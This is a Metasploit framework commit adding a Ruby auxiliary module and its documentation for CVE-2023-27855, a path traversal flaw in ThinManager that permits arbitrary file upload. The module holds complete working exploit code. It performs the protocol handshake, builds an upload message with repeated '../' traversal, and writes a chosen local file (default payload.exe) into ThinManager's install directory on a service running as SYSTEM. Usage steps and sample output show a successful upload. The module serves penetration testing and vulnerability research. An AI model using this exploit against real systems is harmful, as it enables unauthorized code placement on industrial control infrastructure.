Skip to content

Commit 10d443d

Browse files
authored
Merge pull request rapid7#20138 from h4x-x0r/CVE-2023-27855
ThinManager Path Traversal Upload (CVE-2023-27855) Module
2 parents 856eb18 + 3bd16e9 commit 10d443d

File tree

2 files changed

+215
-0
lines changed

2 files changed

+215
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Vulnerable Application
2+
3+
This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27855) to upload an arbitrary file to the target
4+
system.
5+
6+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
7+
8+
## Testing
9+
10+
The software can be obtained from
11+
[the vendor](https://thinmanager.com/downloads/).
12+
13+
**Successfully tested on**
14+
15+
- ThinManager v13.0.1 on Windows 22H2
16+
- ThinManager v13.0.0 on Windows 22H2
17+
- ThinManager v12.1.5 on Windows 22H2
18+
- ThinManager v10.0.2 on Windows 22H2
19+
20+
## Verification Steps
21+
22+
1. Install and run the application
23+
2. Start `msfconsole` and run the following commands:
24+
25+
```
26+
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload
27+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set RHOSTS <IP>
28+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set LFILE <local file location>
29+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set RFILE <remote file location>
30+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
31+
```
32+
33+
This should upload the local file specified through LFILE to the server, as specified in RFILE.
34+
35+
## Options
36+
37+
### LFILE
38+
Specifies the local file to upload to the remote server.
39+
40+
### RFILE
41+
Specifies the remote file location where the file will be uploaded to.
42+
43+
## Scenarios
44+
45+
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
46+
47+
```
48+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
49+
[*] Running module against 192.168.137.227
50+
51+
[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
52+
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
53+
[*] 192.168.137.227:2031 - Sending handshake...
54+
[*] 192.168.137.227:2031 - Received handshake response.
55+
[*] 192.168.137.227:2031 - Read 27648 bytes from /tmp/payload.exe
56+
[*] 192.168.137.227:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
57+
[*] 192.168.137.227:2031 - Upload request length: 27752 bytes
58+
[!] 192.168.137.227:2031 - No response received after upload.
59+
[+] 192.168.137.227:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
60+
[*] Auxiliary module execution completed
61+
```
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Report
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'ThinManager Path Traversal (CVE-2023-27855) Arbitrary File Upload',
16+
'Description' => %q{
17+
This module exploits a path traversal vulnerability (CVE-2023-27855 ) in ThinManager <= v13.0.1 to upload arbitrary files to the target system.
18+
19+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
20+
},
21+
'Author' => [
22+
'Michael Heinzl', # MSF Module
23+
'Tenable' # Discovery and PoC
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['CVE', '2023-27855 '],
28+
['URL', 'https://www.tenable.com/security/research/tra-2023-13'],
29+
['URL', 'https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1138640']
30+
],
31+
'DisclosureDate' => '2023-04-05',
32+
'DefaultOptions' => {
33+
'RPORT' => 2031,
34+
'SSL' => 'False'
35+
},
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'Reliability' => [],
39+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
40+
}
41+
)
42+
)
43+
44+
register_options(
45+
[
46+
OptPath.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
47+
OptString.new('RFILE', [false, 'The file path to store the file on the remote system.', '/Program Files/Rockwell Software/ThinManager/payload.exe']),
48+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
49+
]
50+
)
51+
end
52+
53+
def check
54+
begin
55+
connect
56+
rescue Rex::ConnectionTimeout => e
57+
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
58+
return Exploit::CheckCode::Unknown
59+
end
60+
61+
vprint_status('Sending handshake...')
62+
handshake = [0x100].pack('V')
63+
vprint_status(Rex::Text.to_hex_dump(handshake))
64+
sock.put(handshake)
65+
66+
res = sock.get_once(4096, 5)
67+
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b
68+
69+
if res&.start_with?(expected_header)
70+
vprint_status('Received handshake response.')
71+
vprint_status(Rex::Text.to_hex_dump(res))
72+
disconnect
73+
return Exploit::CheckCode::Detected
74+
elsif res
75+
vprint_status('Received unexpected handshake response:')
76+
vprint_status(Rex::Text.to_hex_dump(res))
77+
disconnect
78+
return Exploit::CheckCode::Safe
79+
else
80+
disconnect
81+
return Exploit::CheckCode::Unknown('No handshake response received.')
82+
end
83+
end
84+
85+
def mk_msg(msg_type, flags, data)
86+
dlen = data.length
87+
hdr = [msg_type, flags, dlen].pack('nnN')
88+
hdr + data
89+
end
90+
91+
def run
92+
begin
93+
connect
94+
rescue Rex::ConnectionTimeout => e
95+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
96+
end
97+
98+
print_status('Sending handshake...')
99+
handshake = [0x100].pack('V')
100+
vprint_status(Rex::Text.to_hex_dump(handshake))
101+
sock.put(handshake)
102+
103+
res = sock.get_once(4096, 5)
104+
if res
105+
print_status('Received handshake response.')
106+
vprint_status(Rex::Text.to_hex_dump(res))
107+
else
108+
print_error('No handshake response received.')
109+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
110+
end
111+
112+
lfile = datastore['LFILE']
113+
rfile = datastore['RFILE']
114+
file_data = ::File.binread(lfile)
115+
print_status("Read #{file_data.length} bytes from #{lfile}")
116+
117+
traversal = '../' * datastore['DEPTH']
118+
119+
full_path = (traversal + rfile).force_encoding('ASCII-8BIT')
120+
file_data.force_encoding('ASCII-8BIT')
121+
122+
data = [0xaa].pack('N')
123+
data << full_path + "\x00"
124+
data << "file_type\x00"
125+
data << "unk_str1\x00"
126+
data << [file_data.length].pack('N')
127+
data << file_data
128+
data.force_encoding('ASCII-8BIT')
129+
130+
req = mk_msg(7, 0x0001, data)
131+
print_status("Uploading #{lfile} as #{rfile} on the remote host...")
132+
133+
print_status("Upload request length: #{req.length} bytes")
134+
vprint_status("Upload request:\n#{Rex::Text.to_hex_dump(req)}")
135+
136+
sock.put(req)
137+
138+
begin
139+
res = sock.get_once(4096, 5)
140+
if res
141+
print_good('Received response from target:')
142+
vprint_status(Rex::Text.to_hex_dump(res))
143+
else
144+
print_warning('No response received after upload.')
145+
end
146+
rescue ::EOFError, ::Timeout::Error => e
147+
print_error("Socket error: #{e.class} - #{e.message}")
148+
end
149+
150+
disconnect
151+
print_good("Upload process completed. Check if '#{rfile}' exists on the target.")
152+
end
153+
154+
end

0 commit comments

Comments
 (0)